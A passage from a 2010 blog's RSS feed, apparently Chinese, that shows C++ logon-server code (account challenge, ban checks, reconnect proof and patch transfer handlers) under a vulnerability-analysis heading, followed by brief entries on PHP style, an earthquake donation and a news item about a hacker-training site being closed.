    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_FREEZED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">default</span><span>: &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Null-terminate&nbsp;the&nbsp;account&nbsp;string </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_challenge.I[m_challenge.I_len]&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Clear&nbsp;the&nbsp;shitty&nbsp;hash&nbsp;(for&nbsp;server) </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="comment">/*&nbsp;&nbsp;size_t&nbsp;i&nbsp;=&nbsp;0; </span>&nbsp;</li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;for(&nbsp;i&nbsp;=&nbsp;m_challenge.I_len;&nbsp;i&nbsp;&gt;=&nbsp;0;&nbsp;--i&nbsp;) </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;{ </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;m_challenge.I[i]&nbsp;==&nbsp;'#'&nbsp;) </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_challenge.I[i]&nbsp;=&nbsp;'\0'; </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;}*/</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Look&nbsp;up&nbsp;the&nbsp;account&nbsp;information </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;AccountName&nbsp;=&nbsp;(</span><span class="datatypes">char</span><span>*)&amp;m_challenge.I; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Account&nbsp;Name:&nbsp;\&quot;%s\&quot;&quot;</span><span>,&nbsp;AccountName.c_str()); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;m_account&nbsp;=&nbsp;AccountMgr::getSingleton().GetAccount(AccountName); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_account&nbsp;==&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Invalid&nbsp;account.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Non-existant&nbsp;account </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_NO_ACCOUNT); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;Account&nbsp;banned&nbsp;state&nbsp;=&nbsp;%u&quot;</span><span>,&nbsp;m_account-&gt;Banned); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;that&nbsp;the&nbsp;account&nbsp;isn't&nbsp;banned. </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_account-&gt;Banned&nbsp;==&nbsp;1) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_CLOSED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">else</span><span>&nbsp;</span><span class="keyword">if</span><span>(m_account-&gt;Banned&nbsp;&gt;&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_FREEZED); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_account-&gt;SessionKey) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_SERVER_FULL); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">/**&nbsp;burlex:&nbsp;this&nbsp;is&nbsp;pure&nbsp;speculation,&nbsp;I&nbsp;really&nbsp;have&nbsp;no&nbsp;idea&nbsp;what&nbsp;this&nbsp;does&nbsp;:p </span>&nbsp;</li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;just&nbsp;guessed&nbsp;the&nbsp;md5&nbsp;because&nbsp;it&nbsp;was&nbsp;16&nbsp;byte&nbsp;blocks. </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;MD5_CTX&nbsp;ctx; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;MD5_Init(&amp;ctx); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;MD5_Update(&amp;ctx,&nbsp;m_account-&gt;SessionKey,&nbsp;40); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;buffer[20]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;MD5_Final(buffer,&nbsp;&amp;ctx); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ByteBuffer&nbsp;buf; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;buf&nbsp;&lt;&lt;&nbsp;uint16(2); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;buf.append(buffer,&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;buf&nbsp;&lt;&lt;&nbsp;uint64(0); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;buf&nbsp;&lt;&lt;&nbsp;uint64(0); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;Send(buf.contents(),&nbsp;34); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleReconnectProof() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">/* </span>&nbsp;</li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Len:&nbsp;%u\n&quot;,&nbsp;this-&gt;GetReadBufferSize()); </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;ByteBuffer&nbsp;buf(58); </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;buf.resize(58); </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;Read(58,&nbsp;const_cast&lt;uint8*&gt;(buf.contents())); </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;buf.hexlike();*/</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(!m_account) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Don't&nbsp;update&nbsp;when&nbsp;IP&nbsp;banned,&nbsp;but&nbsp;update&nbsp;anyway&nbsp;if&nbsp;it's&nbsp;an&nbsp;account&nbsp;ban </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLogonSQL-&gt;Execute(</span><span class="string">&quot;UPDATE&nbsp;accounts&nbsp;SET&nbsp;lastlogin=NOW(),&nbsp;lastip='%s'&nbsp;WHERE&nbsp;acct=%u;&quot;</span><span>,&nbsp;GetRemoteIP().c_str(),&nbsp;m_account-&gt;AccountId); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(GetReadBufferSize(),&nbsp;true); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Remove(&nbsp;GetReadBuffer().GetSize()&nbsp;); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_account-&gt;SessionKey) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;buffer[4]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer[0]&nbsp;=&nbsp;3; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer[1]&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer[2]&nbsp;=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer[3]&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Send(buffer,&nbsp;4); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">else</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint32&nbsp;x&nbsp;=&nbsp;3; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Send((</span><span class="keyword">const</span><span>&nbsp;uint8*)&amp;x,&nbsp;4); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleTransferAccept() &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;Accepted&nbsp;transfer&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_patch) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(1,false); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Remove(1); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;PatchMgr::getSingleton().BeginPatchJob(m_patch,</span><span class="keyword">this</span><span>,0); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleTransferResume() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;Resuming&nbsp;transfer&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!m_patch) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(1,false); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Remove(1); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint64&nbsp;size; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//Read(8,(uint8*)&amp;size); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Read(&amp;size,&nbsp;8); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(size&gt;=m_patch-&gt;FileSize) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;PatchMgr::getSingleton().BeginPatchJob(m_patch,</span><span class="keyword">this</span><span>,(uint32)size); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleTransferCancel() &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(1,false); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Remove(1); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;Disconnect(); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
</ol>
</div>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=16</link>
			<category domain="http://www.muhk.cn/?cid=3">漏洞分析</category>
			<pubDate>2010-04-21 14:56</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=15</guid>
			<title>php style</title>
			<author>muhk</author>
			<description><![CDATA[<p>php style</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=15" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=15</link>
			<category domain="http://www.muhk.cn/?cid=4">PHP Powered</category>
			<pubDate>2010-04-21 14:04</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=13</guid>
			<title>捐给玉树震灾地区</title>
			<author>muhk</author>
			<description><![CDATA[<p>玉树震灾区</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=13" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=13</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-04-19 18:02</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=11</guid>
			<title>小米给和谐的过程报道！</title>
			<author>muhk</author>
			<description><![CDATA[<p>湖北警方称端掉国内最大黑客培训网站&mdash;&mdash;黑鹰安全网</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=11" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=11</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-04-18 13:41</pubDate>
		</item>
	</channel>
</rss>
